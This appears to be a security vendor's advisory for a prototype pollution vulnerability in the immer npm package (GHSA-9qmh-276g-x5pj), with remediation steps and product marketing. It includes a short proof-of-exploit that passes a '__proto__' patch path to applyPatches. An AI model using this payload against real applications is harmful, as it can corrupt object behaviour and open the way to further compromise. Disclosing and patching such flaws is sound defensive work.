Blast Radius
Weekly download volume for affected packages — a proxy for how broadly this vulnerability is deployed.
immernpmDescription
Overview
Affected versions of immer are vulnerable to Prototype Pollution.
Proof of exploit
const {applyPatches, enablePatches} = require("immer");
enablePatches();
let obj = {};
console.log("Before : " + obj.polluted);
applyPatches({}, [ { op: 'add', path: [ "__proto__", "polluted" ], value: "yes" } ]);
// applyPatches({}, [ { op: 'replace', path: [ "__proto__", "polluted" ], value: "yes" } ]);
console.log("After : " + obj.polluted);
Remediation
Version 8.0.1 contains a fix for this vulnerability, updating is recommended.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | immer | ≥ 7.0.0&&< 8.0.1 | 8.0.1 |
Research use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for immer. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update immer to 8.0.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-9qmh-276g-x5pj is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-9qmh-276g-x5pj is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-9qmh-276g-x5pj. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-9qmh-276g-x5pj in your dependencies?
O3 detects GHSA-9qmh-276g-x5pj across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.